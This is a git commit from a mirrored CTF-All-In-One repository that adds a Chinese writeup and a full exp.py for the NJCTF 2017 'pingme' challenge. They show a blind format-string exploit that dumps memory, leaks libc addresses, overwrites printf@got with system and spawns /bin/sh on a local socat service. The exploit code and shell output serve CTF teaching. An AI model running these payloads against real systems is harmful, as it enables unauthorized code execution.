mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
finish 6.2
This commit is contained in:
parent
221ba178d7
commit
905356bea6
@ -15,7 +15,7 @@ $ checksec -f pingme
|
|||||||
RELRO STACK CANARY NX PIE RPATH RUNPATHFORTIFY Fortified Fortifiable FILE
|
RELRO STACK CANARY NX PIE RPATH RUNPATHFORTIFY Fortified Fortifiable FILE
|
||||||
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 pingme
|
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 pingme
|
||||||
```
|
```
|
||||||
然后把程序运行起来:
|
关闭 ASLR,然后把程序运行起来:
|
||||||
```
|
```
|
||||||
$ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme
|
$ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme
|
||||||
```
|
```
|
||||||
@ -47,12 +47,241 @@ offset = auto.offset
|
|||||||
[*] Found format string offset: 7
|
[*] Found format string offset: 7
|
||||||
```
|
```
|
||||||
|
|
||||||
|
#### dump file
|
||||||
|
接下来我们就利用该漏洞把二进制文件从内存中 dump 下来:
|
||||||
|
```python
|
||||||
|
def dump_memory(start_addr, end_addr):
|
||||||
|
result = ""
|
||||||
|
while start_addr < end_addr:
|
||||||
|
p = remote('127.0.0.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
#print result.encode('hex')
|
||||||
|
payload = "%9$s.AAA" + p32(start_addr)
|
||||||
|
p.sendline(payload)
|
||||||
|
data = p.recvuntil(".AAA")[:-4]
|
||||||
|
if data == "":
|
||||||
|
data = "\x00"
|
||||||
|
log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
|
||||||
|
result += data
|
||||||
|
start_addr += len(data)
|
||||||
|
p.close()
|
||||||
|
return result
|
||||||
|
start_addr = 0x8048000
|
||||||
|
end_addr = 0x8049000
|
||||||
|
code_bin = dump_memory(start_addr, end_addr)
|
||||||
|
with open("code.bin", "wb") as f:
|
||||||
|
f.write(code_bin)
|
||||||
|
f.close()
|
||||||
|
```
|
||||||
|
这里构造的 paylaod 和前面有点不同,它把地址放在了后面,是为了防止 printf 的 `%s` 被 `\x00` 截断:
|
||||||
|
```python
|
||||||
|
payload = "%9$s.AAA" + p32(start_addr)
|
||||||
|
```
|
||||||
|
另外 `.AAA`,是作为一个标志,我们需要的内存在 `.AAA` 的前面,最后,偏移由 7 变为 9。
|
||||||
|
|
||||||
|
在没有开启 PIE 的情况下,32 位程序从地址 `0x8048000` 开始,0x1000 的大小就足够了。在对内存 `\x00` 进行 leak 时,数据长度为零,直接给它赋值就可以了。
|
||||||
|
|
||||||
|
于是就成了有二进制文件无 libc 的格式化字符串漏洞,在 r2 中查询 printf 的 got 地址:
|
||||||
|
```
|
||||||
|
[0x08048490]> is~printf
|
||||||
|
vaddr=0x08048400 paddr=0x00000400 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf
|
||||||
|
[0x08048490]> pd 3 @ 0x08048400
|
||||||
|
: ;-- imp.printf:
|
||||||
|
: 0x08048400 ff2574990408 jmp dword [reloc.printf_116] ; 0x8049974
|
||||||
|
: 0x08048406 6808000000 push 8 ; 8
|
||||||
|
`=< 0x0804840b e9d0ffffff jmp 0x80483e0
|
||||||
|
```
|
||||||
|
地址为 `0x8049974`。
|
||||||
|
|
||||||
|
#### printf address & system address
|
||||||
|
接下来通过 printf@got 泄露出 printf 的地址,进行到这儿,就有两种方式要考虑了,即我们是否可以拿到 libc,如果能,就很简单了。如果不能,就需要使用 DynELF 进行无 libc 的利用。
|
||||||
|
|
||||||
|
先说第一种:
|
||||||
|
```python
|
||||||
|
def get_printf_addr():
|
||||||
|
p = remote('127.0.0.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
payload = "%9$s.AAA" + p32(printf_got)
|
||||||
|
p.sendline(payload)
|
||||||
|
data = p.recvuntil(".AAA")[:4]
|
||||||
|
log.info("printf address: %s" % data.encode('hex'))
|
||||||
|
return data
|
||||||
|
printf_addr = get_printf_addr()
|
||||||
|
```
|
||||||
|
```
|
||||||
|
[*] printf address: 70e6e0f7
|
||||||
|
```
|
||||||
|
所以 printf 的地址是 `0xf7e0e670`(小端序),使用 libc-database 查询得到 libc.so,然后可以得到 printf 和 system 的相对位置。
|
||||||
|
```
|
||||||
|
$ ./find printf 670
|
||||||
|
ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386)
|
||||||
|
/usr/lib32/libc-2.26.so (id local-292a64d65098446389a47cdacdf5781255a95098)
|
||||||
|
$ ./dump local-292a64d65098446389a47cdacdf5781255a95098 printf system
|
||||||
|
offset_printf = 0x00051670
|
||||||
|
offset_system = 0x0003cc50
|
||||||
|
```
|
||||||
|
然后计算得到 printf 的地址:
|
||||||
|
```python
|
||||||
|
printf_addr = 0xf7e0e670
|
||||||
|
offset_printf = 0x00051670
|
||||||
|
offset_system = 0x0003cc50
|
||||||
|
system_addr = printf_addr - (offset_printf - offset_system)
|
||||||
|
```
|
||||||
|
|
||||||
|
第二种方法是使用 DynELF 模块来泄露函数地址:
|
||||||
|
```python
|
||||||
|
def leak(addr):
|
||||||
|
p = remote('127.0.0.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
payload = "%9$s.AAA" + p32(addr)
|
||||||
|
p.sendline(payload)
|
||||||
|
data = p.recvuntil(".AAA")[:-4] + "\x00"
|
||||||
|
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
|
||||||
|
p.close()
|
||||||
|
return data
|
||||||
|
data = DynELF(leak, 0x08048490) # Entry point address
|
||||||
|
system_addr = data.lookup('system', 'libc')
|
||||||
|
printf_addr = data.lookup('printf', 'libc')
|
||||||
|
log.info("system address: 0x%x" % system_addr)
|
||||||
|
log.info("printf address: 0x%x" % printf_addr)
|
||||||
|
```
|
||||||
|
```
|
||||||
|
[*] system address: 0xf7df9c50
|
||||||
|
[*] printf address: 0xf7e0e670
|
||||||
|
```
|
||||||
|
DynELF 不要求我们拿到 libc.so,所以如果我们查询不到 libc.so 的版本信息,该模块就能发挥它最大的作用。
|
||||||
|
|
||||||
|
#### attack
|
||||||
|
按照格式化字符串漏洞的套路,我们通过任意写将 printf@got 指向的内存覆盖为 system 的地址,然后发送字符串 `/bin/sh`,就可以在调用 `printf("/bin/sh")` 的时候实际上调用 `system("/bin/sh")`。
|
||||||
|
|
||||||
|
终极 payload 如下,使用 `fmtstr_payload` 函数来自动构造,将:
|
||||||
|
```python
|
||||||
|
payload = fmtstr_payload(7, {printf_got: system_addr})
|
||||||
|
p = remote('127.0.0.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
p.sendline(payload)
|
||||||
|
p.recv()
|
||||||
|
p.sendline('/bin/sh')
|
||||||
|
p.interactive()
|
||||||
|
```
|
||||||
|
虽说有这样的自动化函数很方便,基本的手工构造还是要懂的,看一下生成的 payload 长什么样子:
|
||||||
|
```
|
||||||
|
[DEBUG] Sent 0x3a bytes:
|
||||||
|
00000000 74 99 04 08 75 99 04 08 76 99 04 08 77 99 04 08 │t···│u···│v···│w···│
|
||||||
|
00000010 25 36 34 63 25 37 24 68 68 6e 25 37 36 63 25 38 │%64c│%7$h│hn%7│6c%8│
|
||||||
|
00000020 24 68 68 6e 25 36 37 63 25 39 24 68 68 6e 25 32 │$hhn│%67c│%9$h│hn%2│
|
||||||
|
00000030 34 63 25 31 30 24 68 68 6e 0a │4c%1│0$hh│n·│
|
||||||
|
0000003a
|
||||||
|
```
|
||||||
|
开头是 printf@got 地址,四个字节分别位于:
|
||||||
|
```
|
||||||
|
0x08049974
|
||||||
|
0x08049975
|
||||||
|
0x08049976
|
||||||
|
0x08049977
|
||||||
|
```
|
||||||
|
然后是格式字符串 `%64c%7$hhn%76c%8hhn%67c%9$hhn%24c%10$hhn`:
|
||||||
|
```
|
||||||
|
16 + 64 = 80 = 0x50
|
||||||
|
80 + 76 = 156 = 0x9c
|
||||||
|
156 + 67 = 223 = 0xdf
|
||||||
|
233 + 24 = 247 = 0xf7
|
||||||
|
```
|
||||||
|
就这样将 system 的地址写入了内存。
|
||||||
|
|
||||||
|
Bingo!!!
|
||||||
|
```
|
||||||
|
$ python2 exp.py
|
||||||
|
[+] Opening connection to 127.0.0.2 on port 10001: Done
|
||||||
|
[*] Switching to interactive mode
|
||||||
|
$ whoami
|
||||||
|
firmy
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## Exploit
|
## Exploit
|
||||||
完整的 exp 如下,其他文件放在了[github](../src/writeup/6.2_pwn_njctf2017_pingme)相应文件夹中:
|
完整的 exp 如下,其他文件放在了[github](../src/writeup/6.2_pwn_njctf2017_pingme)相应文件夹中:
|
||||||
```python
|
```python
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
# context.log_level = 'debug'
|
||||||
|
|
||||||
|
def exec_fmt(payload):
|
||||||
|
p.sendline(payload)
|
||||||
|
info = p.recv()
|
||||||
|
return info
|
||||||
|
# p = remote('127.0.0.1', '10001')
|
||||||
|
# p.recvline()
|
||||||
|
# auto = FmtStr(exec_fmt)
|
||||||
|
# offset = auto.offset
|
||||||
|
# p.close()
|
||||||
|
|
||||||
|
def dump_memory(start_addr, end_addr):
|
||||||
|
result = ""
|
||||||
|
while start_addr < end_addr:
|
||||||
|
p = remote('127.0.0.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
# print result.encode('hex')
|
||||||
|
payload = "%9$s.AAA" + p32(start_addr)
|
||||||
|
p.sendline(payload)
|
||||||
|
data = p.recvuntil(".AAA")[:-4]
|
||||||
|
if data == "":
|
||||||
|
data = "\x00"
|
||||||
|
log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
|
||||||
|
result += data
|
||||||
|
start_addr += len(data)
|
||||||
|
p.close()
|
||||||
|
return result
|
||||||
|
# start_addr = 0x8048000
|
||||||
|
# end_addr = 0x8049000
|
||||||
|
# code_bin = dump_memory(start_addr, end_addr)
|
||||||
|
# with open("code.bin", "wb") as f:
|
||||||
|
# f.write(code_bin)
|
||||||
|
# f.close()
|
||||||
|
printf_got = 0x8049974
|
||||||
|
|
||||||
|
## method 1
|
||||||
|
def get_printf_addr():
|
||||||
|
p = remote('127.0.0.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
payload = "%9$s.AAA" + p32(printf_got)
|
||||||
|
p.sendline(payload)
|
||||||
|
data = p.recvuntil(".AAA")[:4]
|
||||||
|
log.info("printf address: %s" % data.encode('hex'))
|
||||||
|
return data
|
||||||
|
# printf_addr = get_printf_addr()
|
||||||
|
printf_addr = 0xf7e0e670
|
||||||
|
offset_printf = 0x00051670
|
||||||
|
offset_system = 0x0003cc50
|
||||||
|
system_addr = printf_addr - (offset_printf - offset_system)
|
||||||
|
|
||||||
|
## method 2
|
||||||
|
def leak(addr):
|
||||||
|
p = remote('127.0.0.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
payload = "%9$s.AAA" + p32(addr)
|
||||||
|
p.sendline(payload)
|
||||||
|
data = p.recvuntil(".AAA")[:-4] + "\x00"
|
||||||
|
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
|
||||||
|
p.close()
|
||||||
|
return data
|
||||||
|
# data = DynELF(leak, 0x08048490) # Entry point address
|
||||||
|
# system_addr = data.lookup('system', 'libc')
|
||||||
|
# printf_addr = data.lookup('printf', 'libc')
|
||||||
|
# log.info("system address: 0x%x" % system_addr)
|
||||||
|
# log.info("printf address: 0x%x" % printf_addr)
|
||||||
|
|
||||||
|
## get shell
|
||||||
|
payload = fmtstr_payload(7, {printf_got: system_addr})
|
||||||
|
p = remote('127.0.1.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
p.sendline(payload)
|
||||||
|
p.recv()
|
||||||
|
p.sendline('/bin/sh')
|
||||||
|
p.interactive()
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
- [Linux系统下格式化字符串利用研究](https://paper.seebug.org/246/)
|
- [Linux系统下格式化字符串利用研究](https://paper.seebug.org/246/)
|
||||||
|
- [33C3 CTF 2016 -- ESPR](http://bruce30262.logdown.com/posts/1255979-33c3-ctf-2016-espr)
|
||||||
|
BIN
src/writeup/6.2_pwn_njctf2017_pingme/code.bin
Normal file
BIN
src/writeup/6.2_pwn_njctf2017_pingme/code.bin
Normal file
Binary file not shown.
77
src/writeup/6.2_pwn_njctf2017_pingme/exp.py
Normal file
77
src/writeup/6.2_pwn_njctf2017_pingme/exp.py
Normal file
@ -0,0 +1,77 @@
|
|||||||
|
from pwn import *
|
||||||
|
|
||||||
|
# context.log_level = 'debug'
|
||||||
|
|
||||||
|
def exec_fmt(payload):
|
||||||
|
p.sendline(payload)
|
||||||
|
info = p.recv()
|
||||||
|
return info
|
||||||
|
# p = remote('127.0.0.1', '10001')
|
||||||
|
# p.recvline()
|
||||||
|
# auto = FmtStr(exec_fmt)
|
||||||
|
# offset = auto.offset
|
||||||
|
# p.close()
|
||||||
|
|
||||||
|
def dump_memory(start_addr, end_addr):
|
||||||
|
result = ""
|
||||||
|
while start_addr < end_addr:
|
||||||
|
p = remote('127.0.0.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
# print result.encode('hex')
|
||||||
|
payload = "%9$s.AAA" + p32(start_addr)
|
||||||
|
p.sendline(payload)
|
||||||
|
data = p.recvuntil(".AAA")[:-4]
|
||||||
|
if data == "":
|
||||||
|
data = "\x00"
|
||||||
|
log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
|
||||||
|
result += data
|
||||||
|
start_addr += len(data)
|
||||||
|
p.close()
|
||||||
|
return result
|
||||||
|
# start_addr = 0x8048000
|
||||||
|
# end_addr = 0x8049000
|
||||||
|
# code_bin = dump_memory(start_addr, end_addr)
|
||||||
|
# with open("code.bin", "wb") as f:
|
||||||
|
# f.write(code_bin)
|
||||||
|
# f.close()
|
||||||
|
printf_got = 0x8049974
|
||||||
|
|
||||||
|
## method 1
|
||||||
|
def get_printf_addr():
|
||||||
|
p = remote('127.0.0.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
payload = "%9$s.AAA" + p32(printf_got)
|
||||||
|
p.sendline(payload)
|
||||||
|
data = p.recvuntil(".AAA")[:4]
|
||||||
|
log.info("printf address: %s" % data.encode('hex'))
|
||||||
|
return data
|
||||||
|
# printf_addr = get_printf_addr()
|
||||||
|
printf_addr = 0xf7e0e670
|
||||||
|
offset_printf = 0x00051670
|
||||||
|
offset_system = 0x0003cc50
|
||||||
|
system_addr = printf_addr - (offset_printf - offset_system)
|
||||||
|
|
||||||
|
## method 2
|
||||||
|
def leak(addr):
|
||||||
|
p = remote('127.0.0.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
payload = "%9$s.AAA" + p32(addr)
|
||||||
|
p.sendline(payload)
|
||||||
|
data = p.recvuntil(".AAA")[:-4] + "\x00"
|
||||||
|
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
|
||||||
|
p.close()
|
||||||
|
return data
|
||||||
|
# data = DynELF(leak, 0x08048490) # Entry point address
|
||||||
|
# system_addr = data.lookup('system', 'libc')
|
||||||
|
# printf_addr = data.lookup('printf', 'libc')
|
||||||
|
# log.info("system address: 0x%x" % system_addr)
|
||||||
|
# log.info("printf address: 0x%x" % printf_addr)
|
||||||
|
|
||||||
|
## get shell
|
||||||
|
payload = fmtstr_payload(7, {printf_got: system_addr})
|
||||||
|
p = remote('127.0.1.1', '10001')
|
||||||
|
p.recvline()
|
||||||
|
p.sendline(payload)
|
||||||
|
p.recv()
|
||||||
|
p.sendline('/bin/sh')
|
||||||
|
p.interactive()
|
Loading…
Reference in New Issue
Block a user